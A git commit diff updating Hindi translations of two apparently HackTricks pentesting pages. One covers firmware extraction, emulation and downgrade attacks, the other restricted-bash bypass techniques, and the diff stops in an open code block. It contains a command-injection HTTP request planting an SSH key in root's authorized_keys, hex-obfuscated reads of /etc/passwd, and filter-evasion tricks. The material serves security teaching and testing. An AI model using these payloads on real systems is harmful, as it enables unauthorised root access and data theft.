Translated ['src/hardware-physical-access/firmware-analysis/README.md',

This commit is contained in:
Translator 2025-07-28 16:14:32 +00:00
parent 6da97a839d
commit 4fc31dffcc
2 changed files with 112 additions and 46 deletions

View File

@ -4,11 +4,11 @@
## **Introduction**
फर्मवेयर आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से संचालित करने में सक्षम बनाता है, हार्डवेयर घटकों और उपयोगकर्ताओं के साथ बातचीत करने वाले सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है। इसे स्थायी मेमोरी में संग्रहीत किया जाता है, यह सुनिश्चित करते हुए कि उपकरण को चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुंच मिलती है, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जात है। फर्मवेयर की जांच और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
Firmware एक आवश्यक सॉफ़्टवेयर है जो उपकरणों को सही ढंग से संचालित करने में सक्षम बनाता है, हार्डवेयर घटकों और सॉफ़्टवेयर के बीच संचार को प्रबंधित और सुविधाजनक बनाता है, जिससे उपयोगकर्ता इंटरैक्ट करते हैं। इसे स्थायी मेमोरी में संग्रहीत किया जाता है, यह सुनिश्चित करते हुए कि उपकरण चालू होने के क्षण से महत्वपूर्ण निर्देशों तक पहुँच सकता है, जो ऑपरेटिंग सिस्टम के लॉन्च की ओर ले जात है। फर्मवेयर की जांच और संभावित रूप से संशोधन करना सुरक्षा कमजोरियों की पहचान में एक महत्वपूर्ण कदम है।
## **Gathering Information**
**जानकारी इकट्ठा करना** एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में एक महत्वपूर्ण प्रारंभिक कदम है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है:
**Gathering information** एक महत्वपूर्ण प्रारंभिक कदम है जो एक उपकरण की संरचना और इसके द्वारा उपयोग की जाने वाली तकनीकों को समझने में मदद करता है। इस प्रक्रिया में निम्नलिखित डेटा एकत्र करना शामिल है:
- CPU आर्किटेक्चर और जिस ऑपरेटिंग सिस्टम पर यह चलता है
- बूटलोडर विशिष्टताएँ
@ -19,27 +19,27 @@
- आर्किटेक्चरल और फ्लो डायग्राम
- सुरक्षा आकलन और पहचानी गई कमजोरियाँ
इस उद्देश्य के लिए, **ओपन-सोर्स इंटेलिजेंस (OSINT)** उपकरण अमूल्य हैं, जैसे कि उपलब्ध ओपन-सोर्स सॉफ़्टवेयर घटकों का मैनुअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण। [Coverity Scan](https://scan.coverity.com) और [Semmles LGTM](https://lgtm.com/#explore) जैसे उपकरण संभावित मुद्दों को खोजने के लिए मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं।
इस उद्देश्य के लिए, **open-source intelligence (OSINT)** उपकरण अमूल्य हैं, जैसे कि उपलब्ध ओपन-सोर्स सॉफ़्टवेयर घटकों का मैनुअल और स्वचालित समीक्षा प्रक्रियाओं के माध्यम से विश्लेषण। [Coverity Scan](https://scan.coverity.com) और [Semmles LGTM](https://lgtm.com/#explore) जैसे उपकरण संभावित मुद्दों को खोजने के लिए मुफ्त स्थैतिक विश्लेषण प्रदान करते हैं।
## **Acquiring the Firmware**
फर्मवेयर प्राप्त करने के लिए विभिन्न तरीकों का उपयोग किया जा सकता है, प्रत्येक की अपनी जटिलता का स्तर है:
- **सीधे** स्रोत (डेवलपर्स, निर्माताओं) से
- **प्रदान की गई निर्देशों** से इसे **बनाना**
- आधिकारिक समर्थन साइटों से **डाउनलोड करना**
- **Directly** स्रोत से (डेवलपर्स, निर्माताओं)
- **Building** इसे प्रदान की गई निर्देशों से
- **Downloading** आधिकारिक समर्थन साइटों से
- होस्ट किए गए फर्मवेयर फ़ाइलों को खोजने के लिए **Google dork** क्वेरी का उपयोग करना
- [S3Scanner](https://github.com/sa7mon/S3Scanner) जैसे उपकरणों के साथ **क्लाउड स्टोरेज** तक सीधे पहुंचना
- मैन-इन-द-मिडल तकनीकों के माध्यम से **अपडेट** को इंटरसेप्ट करना
- **UART**, **JTAG**, या **PICit** जैसे कनेक्शनों के माध्यम से उपकरण से **निकालना**
- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **स्निफ़िंग**
- **हार्डकोडेड अपडेट एंडपॉइंट्स** की पहचान और उपयोग करना
- बूटलोडर या नेटवर्क से **डंपिंग**
- जब सब कुछ विफल हो जाए, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **हटाना और पढ़ना**
- **cloud storage** तक सीधे पहुँच प्राप्त करना, जैसे कि [S3Scanner](https://github.com/sa7mon/S3Scanner) के साथ
- मैन-इन-द-मिडिल तकनीकों के माध्यम से **updates** को इंटरसेप्ट करना
- **Extracting** उपकरण से कनेक्शनों के माध्यम से जैसे **UART**, **JTAG**, या **PICit**
- उपकरण संचार के भीतर अपडेट अनुरोधों के लिए **Sniffing**
- **hardcoded update endpoints** की पहचान और उपयोग करना
- बूटलोडर या नेटवर्क से **Dumping**
- जब सभी अन्य विफल हो जाएं, तो उचित हार्डवेयर उपकरणों का उपयोग करके स्टोरेज चिप को **Removing and reading**
## Analyzing the firmware
अब जब आपके पास **फर्मवेयर है**, तो आपको इसके बारे में जानकारी निकालने की आवश्यकता है ताकि आप जान सकें कि इसे कैसे संभालना है। इसके लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं:
अब जब आपके पास **फर्मवेयर** है, तो आपको इसके बारे में जानकारी निकालने की आवश्यकता है ताकि आप जान सकें कि इसे कैसे संभालना है। इसके लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं:
```bash
file <bin>
strings -n8 <bin>
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभावना नहीं है कि यह एन्क्रिप्टेड है। यदि entropy उच्च है, तो यह संभावना है कि यह एन्क्रिप्टेड है (या किसी न किसी तरीके से संकुचित है)
यदि आप उन उपकरणों के साथ ज्यादा कुछ नहीं पाते हैं, तो `binwalk -E <bin>` के साथ छवि की **entropy** की जांच करें, यदि entropy कम है, तो यह संभवतः एन्क्रिप्टेड नहीं है। यदि entropy उच्च है, तो यह संभवतः एन्क्रिप्टेड (या किसी तरीके से संकुचित) है।
इसके अलावा, आप इन उपकरणों का उपयोग **फर्मवेयर के अंदर एम्बेडेड फ़ाइलों** को निकालने के लिए कर सकते हैं:
@ -65,7 +65,7 @@ Binwalk आमतौर पर इसे **फाइल सिस्टम प
#### मैनुअल फ़ाइल सिस्टम निष्कर्षण
कभी-कभी, binwalk के पास **अपने सिग्नेचर में फाइल सिस्टम का जादुई बाइट नहीं होगा**। इन मामलों में, binwalk का उपयोग करे **फाइल सिस्टम का ऑफसेट खोजे और बाइनरी से संकुचित फाइल सिस्टम को काटने के लिए** और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**
कभी-कभी, binwalk के पास **फाइल सिस्टम के जादुई बाइट अपने हस्ताक्षरों में नहीं होते हैं**। इन मामलों में, binwalk का उपयोग कर**फाइल सिस्टम का ऑफसेट खोज और बाइनरी से संकुचित फाइल सिस्टम को काटें** और नीचे दिए गए चरणों का उपयोग करके इसके प्रकार के अनुसार **मैन्युअल रूप से फाइल सिस्टम निकालें**
```
$ binwalk DIR850L_REVB.bin
@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
निम्नलिखित **dd कमांड** को Squashfs फ़ाइल प्रणाली को काटने के लिए चलाएँ
निम्नलिखित **dd कमांड** चलाएँ जो Squashfs फ़ाइल प्रणाली को काटता है
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -91,21 +91,21 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- squashfs (उपरोक्त उदाहरण में उपयोग किया गया)
- squashfs (उदाहरण में उपयोग किया गया)
`$ unsquashfs dir.squashfs`
फाइलें "`squashfs-root`" निर्देशिका में बाद में होंगी।
- CPIO संग्रह फ़ाइलें
- CPIO आर्काइव फाइलें
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- jffs2 फाइल सिस्टम के लिए
- jffs2 फाइल सिस्टम के लिए
`$ jefferson rootfsfile.jffs2`
- NAND फ्लैश के साथ ubifs फाइल सिस्टम के लिए
- NAND फ्लैश के साथ ubifs फाइल सिस्टम के लिए
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -113,7 +113,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## फर्मवेयर का विश्लेषण
एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर छवि से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है।
एक बार फर्मवेयर प्राप्त हो जाने के बाद, इसकी संरचना और संभावित कमजोरियों को समझने के लिए इसे विश्लेषित करना आवश्यक है। इस प्रक्रिया में फर्मवेयर इमेज से मूल्यवान डेटा का विश्लेषण और निकालने के लिए विभिन्न उपकरणों का उपयोग करना शामिल है।
### प्रारंभिक विश्लेषण उपकरण
@ -126,13 +126,13 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
छवि के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम एंट्रॉपी एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च एंट्रॉपी संभावित एन्क्रिप्शन या संकुचन को इंगित करती है।
इमेज के एन्क्रिप्शन स्थिति का आकलन करने के लिए, **entropy** को `binwalk -E <bin>` के साथ चेक किया जाता है। कम entropy एन्क्रिप्शन की कमी का सुझाव देती है, जबकि उच्च entropy संभावित एन्क्रिप्शन या संकुचन को इंगित करती है।
**Embedded files** को निकालने के लिए, **file-data-carving-recovery-tools** दस्तावेज़ और फ़ाइल निरीक्षण के लिए **binvis.io** जैसे उपकरणों और संसाधनों की सिफारिश की जाती है।
### फ़ाइल सिस्टम निकालना
`binwalk -ev <bin>` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर फ़ाइल सिस्टम प्रकार के नाम से एक निर्देशिका में (जैसे, squashfs, ubifs)। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को काटने के लिए `dd` कमांड का उपयोग किया जाता है:
`binwalk -ev <bin>` का उपयोग करके, आमतौर पर फ़ाइल सिस्टम को निकाला जा सकता है, अक्सर एक निर्देशिका में जिसका नाम फ़ाइल सिस्टम प्रकार (जैसे, squashfs, ubifs) के नाम पर होता है। हालाँकि, जब **binwalk** जादुई बाइट्स की कमी के कारण फ़ाइल सिस्टम प्रकार को पहचानने में विफल रहता है, तो मैनुअल निकासी आवश्यक होती है। इसमें फ़ाइल सिस्टम के ऑफसेट को खोजने के लिए `binwalk` का उपयोग करना शामिल है, इसके बाद फ़ाइल सिस्टम को निकालने के लिए `dd` कमांड का उपयोग किया जाता है:
```bash
$ binwalk DIR850L_REVB.bin
@ -156,15 +156,15 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) और [**Firmwalker**](https://github.com/craigz28/firmwalker) संवेदनशील जानकारी खोजने के लिए
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) व्यापक फ़र्मवेयर विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थिर और गतिशील विश्लेषण के लिए
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), और [**EMBA**](https://github.com/e-m-b-a/emba) स्थैतिक और गतिशील विश्लेषण के लिए
### संकलित बाइनरीज़ पर सुरक्षा जांच
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच करनी चाहिए। Unix बाइनरीज़ के लिए **checksec.sh** और Windows बाइनरीज़ के लिए **PESecurity** जैसे उपकरण असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं।
फ़ाइल सिस्टम में पाए गए स्रोत कोड और संकलित बाइनरीज़ की कमजोरियों के लिए जांच की जानी चाहिए। **checksec.sh** जैसे उपकरण यूनिक्स बाइनरीज़ के लिए और **PESecurity** विंडोज बाइनरीज़ के लिए असुरक्षित बाइनरीज़ की पहचान करने में मदद करते हैं।
## गतिशील विश्लेषण के लिए फ़र्मवेयर का अनुकरण
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को सक्षम बनाती है, चाहे वह किसी डिवाइस का संचालन हो या एक व्यक्तिगत प्रोग्राम। इस दृष्टिकोण में हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियाँ आ सकती हैं, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलती-जुलती आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि Raspberry Pi, या पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
फ़र्मवेयर का अनुकरण करने की प्रक्रिया **गतिशील विश्लेषण** को एक डिवाइस के संचालन या एक व्यक्तिगत प्रोग्राम के लिए सक्षम बनाती है। यह दृष्टिकोण हार्डवेयर या आर्किटेक्चर निर्भरताओं के साथ चुनौतियों का सामना कर सकता है, लेकिन रूट फ़ाइल सिस्टम या विशिष्ट बाइनरीज़ को मिलती-जुलती आर्किटेक्चर और एंडियननेस वाले डिवाइस, जैसे कि एक Raspberry Pi, या एक पूर्व-निर्मित वर्चुअल मशीन में स्थानांतरित करना आगे के परीक्षण को सुविधाजनक बना सकता है।
### व्यक्तिगत बाइनरीज़ का अनुकरण
@ -180,7 +180,7 @@ file ./squashfs-root/bin/busybox
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
MIPS (बिग-एंडियन) के लिए, `qemu-mips` का उपयोग किया जाता है, और छोटे-एंडियन बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
MIPS (big-endian) के लिए, `qemu-mips` का उपयोग किया जाता है, और little-endian बाइनरी के लिए, `qemu-mipsel` विकल्प होगा।
#### ARM आर्किटेक्चर अनुकरण
@ -190,13 +190,13 @@ ARM बाइनरी के लिए, प्रक्रिया समा
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) और अन्य जैसे उपकरण पूर्ण फर्मवेयर अनुकरण को सुविधाजनक बनाते हैं, प्रक्रिया को स्वचालित करते हैं और गतिशील विश्लेषण में सहायता करते हैं।
## व्याव实践 में गतिशील विश्लेषण
## व्यावहारिक में गतिशील विश्लेषण
इस चरण में, विश्लेषण के लिए या तो एक वास्तविक या अनुकरणित उपकरण वातावरण का उपयोग किया जाता है। OS और फ़ाइल प्रणाली तक शेल पहुंच बनाए रखना आवश्यक है। अनुकरण हार्डवेयर इंटरैक्शन को सही ढंग से अनुकरण नहीं कर सकता, जिससे कभी-कभी अनुकरण को फिर से शुरू करने की आवश्यकता होती है। विश्लेषण को फ़ाइल प्रणाली पर फिर से जाना चाहिए, उजागर वेबपृष्ठों और नेटवर्क सेवाओं का शोषण करना चाहिए, और बूटलोडर कमजोरियों का पता लगाना चाहिए। फर्मवेयर अखंडता परीक्षण संभावित बैकडोर कमजोरियों की पहचान के लिए महत्वपूर्ण हैं।
इस चरण में, विश्लेषण के लिए या तो एक वास्तविक या अनुकरणित डिवाइस वातावरण का उपयोग किया जाता है। OS और फ़ाइल प्रणाली तक शेल पहुंच बनाए रखना आवश्यक है। अनुकरण हार्डवेयर इंटरैक्शन को सही ढंग से अनुकरण नहीं कर सकता, जिससे कभी-कभी अनुकरण को फिर से शुरू करने की आवश्यकता होती है। विश्लेषण को फ़ाइल प्रणाली पर फिर से जाना चाहिए, उजागर की गई वेबपृष्ठों और नेटवर्क सेवाओं का शोषण करना चाहिए, और बूटलोडर कमजोरियों का पता लगाना चाहिए। फर्मवेयर अखंडता परीक्षण संभावित बैकडोर कमजोरियों की पहचान के लिए महत्वपूर्ण हैं।
## रनटाइम विश्लेषण तकनीक
## रनटाइम विश्लेषण तकनीकें
रनटाइम विश्लेषण एक प्रक्रिया या बाइनरी के साथ उसके संचालन वातावरण में बातचीत करने में शामिल होता है, जिसमें gdb-multiarch, Frida, और Ghidra जैसे उपकरणों का उपयोग करके ब्रेकपॉइंट सेट करना और फज़िंग और अन्य तकनीकों के माध्यम से कमजोरियों की पहचान करना शामिल है।
रनटाइम विश्लेषण एक प्रक्रिया या बाइनरी के साथ उसके संचालन वातावरण में बातचीत करने में शामिल है, जिसमें gdb-multiarch, Frida, और Ghidra जैसे उपकरणों का उपयोग करके ब्रेकपॉइंट सेट करना और फज़िंग और अन्य तकनीकों के माध्यम से कमजोरियों की पहचान करना शामिल है।
## बाइनरी शोषण और प्रमाण-का-धारणा
@ -208,32 +208,76 @@ ARM बाइनरी के लिए, प्रक्रिया समा
## फर्मवेयर का विश्लेषण करने के लिए तैयार OSs
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक डिस्ट्रीब्यूशन है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ प्रीलोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम।
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ पूर्व-लोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम।
## अभ्यास के लिए कमजोर फर्मवेय
## फर्मवेयर डाउनग्रेड हमले और असुरक्षित अपडेट तंत्
फर्मवेयर में कमजोरियों की खोज करने का अभ्यास करने के लिए, निम्नलिखित कमजोर फर्मवेयर परियोजनाओं का उपयोग प्रारंभिक बिंदु के रूप में करें।
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन फ्लैश की जा रही छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
सामान्य हमले का कार्यप्रवाह:
1. **एक पुरानी हस्ताक्षरित छवि प्राप्त करें**
* इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या समर्थन साइट से प्राप्त करें।
* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)।
* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम आदि से प्राप्त करें।
2. **छवि को डिवाइस पर अपलोड या सेवा करें** किसी भी उजागर अपडेट चैनल के माध्यम से:
* वेब UI, मोबाइल-ऐप API, USB, TFTP, MQTT, आदि।
* कई उपभोक्ता IoT उपकरण *अप्रमाणित* HTTP(S) एंडपॉइंट्स को उजागर करते हैं जो Base64-कोडित फर्मवेयर ब्लॉब्स को स्वीकार करते हैं, उन्हें सर्वर-साइड पर डिकोड करते हैं और रिकवरी/अपग्रेड को ट्रिगर करते हैं।
3. डाउनग्रेड के बाद, एक कमजोरियों का शोषण करें जो नए रिलीज़ में पैच की गई थी (उदाहरण के लिए, एक कमांड-इंजेक्शन फ़िल्टर जो बाद में जोड़ा गया था)।
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थिरता प्राप्त हो जाए।
### उदाहरण: डाउनग्रेड के बाद कमांड इंजेक्शन
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
### Extracting Firmware From Mobile Apps
कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर APK/APEX में `assets/fw/` या `res/raw/` जैसे पथों के तहत अनएन्क्रिप्टेड रूप में संग्रहीत होते हैं। उपकरण जैसे `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं।
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### अपडेट लॉजिक का आकलन करने के लिए चेकलिस्ट
* क्या *अपडेट एंडपॉइंट* का परिवहन/प्रमाणीकरण उचित रूप से सुरक्षित है (TLS + प्रमाणीकरण)?
* क्या डिवाइस फ्लैश करने से पहले **संस्करण नंबर** या **मोनोटोनिक एंटी-रोलबैक काउंटर** की तुलना करता है?
* क्या इमेज को सुरक्षित बूट चेन के अंदर सत्यापित किया गया है (जैसे, ROM कोड द्वारा हस्ताक्षर की जांच)?
* क्या यूजरलैंड कोड अतिरिक्त सैनीटी चेक करता है (जैसे, अनुमत विभाजन मानचित्र, मॉडल नंबर)?
* क्या *आंशिक* या *बैकअप* अपडेट प्रवाह वही सत्यापन लॉजिक पुनः उपयोग कर रहे हैं?
> 💡 यदि उपरोक्त में से कोई भी गायब है, तो प्लेटफ़ॉर्म शायद रोलबैक हमलों के प्रति संवेदनशील है।
## अभ्यास के लिए संवेदनशील फर्मवेयर
फर्मवेयर में संवेदनशीलताओं का पता लगाने का अभ्यास करने के लिए, निम्नलिखित संवेदनशील फर्मवेयर परियोजनाओं का उपयोग प्रारंभिक बिंदु के रूप में करें।
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- द डैम्न वल्नरेबल राउटर फर्मवेयर प्रोजेक्ट
- द डैम वल्नरेबल राउटर फर्मवेयर प्रोजेक्ट
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- डैम्न वल्नरेबल ARM राउटर (DVAR)
- डैम वल्नरेबल ARM राउटर (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- डैम्न वल्नरेबल IoT डिवाइस (DVID)
- डैम वल्नरेबल IoT डिवाइस (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## संदर्भ
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## प्रशिक्षण और प्रमाणपत्र
## प्रशिक्षण और प्रमाण
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View File

@ -124,7 +124,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### आईपी बायपास
### IPs को बायपास करें
```bash
# Decimal IPs
127.0.0.1 == 2130706433
@ -133,7 +133,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Env Variables से कैरेक्टर्स प्राप्त करना
### Env Variables से अक्षर प्राप्त करना
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -144,7 +144,7 @@ echo ${PATH:0:1} #/
### बिल्टइन्स
यदि आप बाहरी फ़ंक्शंस को निष्पादित नहीं कर सकते हैं और केवल **RCE प्राप्त करने के लिए सीमित सेट के बिल्टइन्स** तक पहुंच है, तो इसे करने के लिए कुछ उपयोगी तरकीबें हैं। आमतौर पर आप **सभी** **बिल्टइन्स** का उपयोग नहीं कर पाएंगे, इसलिए आपको **जेल को बायपास करने के लिए सभी विकल्पों** के बारे में **जानना चाहिए**। [**devploit**](https://twitter.com/devploit) से विचार।\
यदि आप बाहरी फ़ंक्शंस को निष्पादित नहीं कर सकते हैं और केवल **RCE प्राप्त करने के लिए सीमित सेट के बिल्टइन्स** तक पहुंच है, तो इसे करने के लिए कुछ उपयोगी तरकीबें हैं। आमतौर पर आप **सभी** **बिल्टइन्स** का उपयोग नहीं कर पाएंगे, इसलिए आपको **जेल को बायपास करने के लिए सभी विकल्पों** के बारे में **जानना चाहिए**विचार [**devploit**](https://twitter.com/devploit) से है।\
सबसे पहले सभी [**शेल बिल्टइन्स**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** की जांच करें।** फिर यहां आपके लिए कुछ **सिफारिशें** हैं:
```bash
# Get list of builtins
@ -294,20 +294,40 @@ ln /f*
'sh x'
'sh g'
```
## केवल-पढ़ने/नोएक्सेक/डिस्ट्रोलैस बायपास
## Read-Only/Noexec/Distroless Bypass
यदि आप एक फ़ाइल सिस्टम के अंदर हैं जिसमें **केवल-पढ़ने और नोएक्सेक सुरक्षा** हैं या यहां तक कि एक डिस्ट्रोलैस कंटेनर में हैं, तो भी **मनमाने बाइनरी को निष्पादित करने के तरीके हैं, यहां तक कि एक शेल!:**
यदि आप एक फ़ाइल सिस्टम के अंदर हैं जिसमें **read-only और noexec सुरक्षा** हैं या यहां तक कि एक distroless कंटेनर में हैं, तो भी **मनमाने बाइनरी को निष्पादित करने के तरीके हैं, यहां तक कि एक शेल!:**
{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## चूट और अन्य जेल बायपास
## Chroot & other Jails Bypass
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Space-Based Bash NOP Sled ("Bashsledding")
जब एक भेद्यता आपको एक तर्क को आंशिक रूप से नियंत्रित करने देती है जो अंततः `system()` या किसी अन्य शेल तक पहुँचता है, तो आप नहीं जानते कि निष्पादन आपके पेलोड को पढ़ना कब शुरू करता है। पारंपरिक NOP sleds (जैसे `\x90`) शेल सिंटैक्स में **काम नहीं करते**, लेकिन Bash एक कमांड निष्पादित करने से पहले अग्रणी whitespace को हानिरहित रूप से अनदेखा कर देगा।
इसलिए आप अपने असली कमांड को लंबे स्पेस या टैब कैरेक्टर्स की एक श्रृंखला के साथ प्रीफिक्स करके *Bash के लिए NOP sled* बना सकते हैं:
```bash
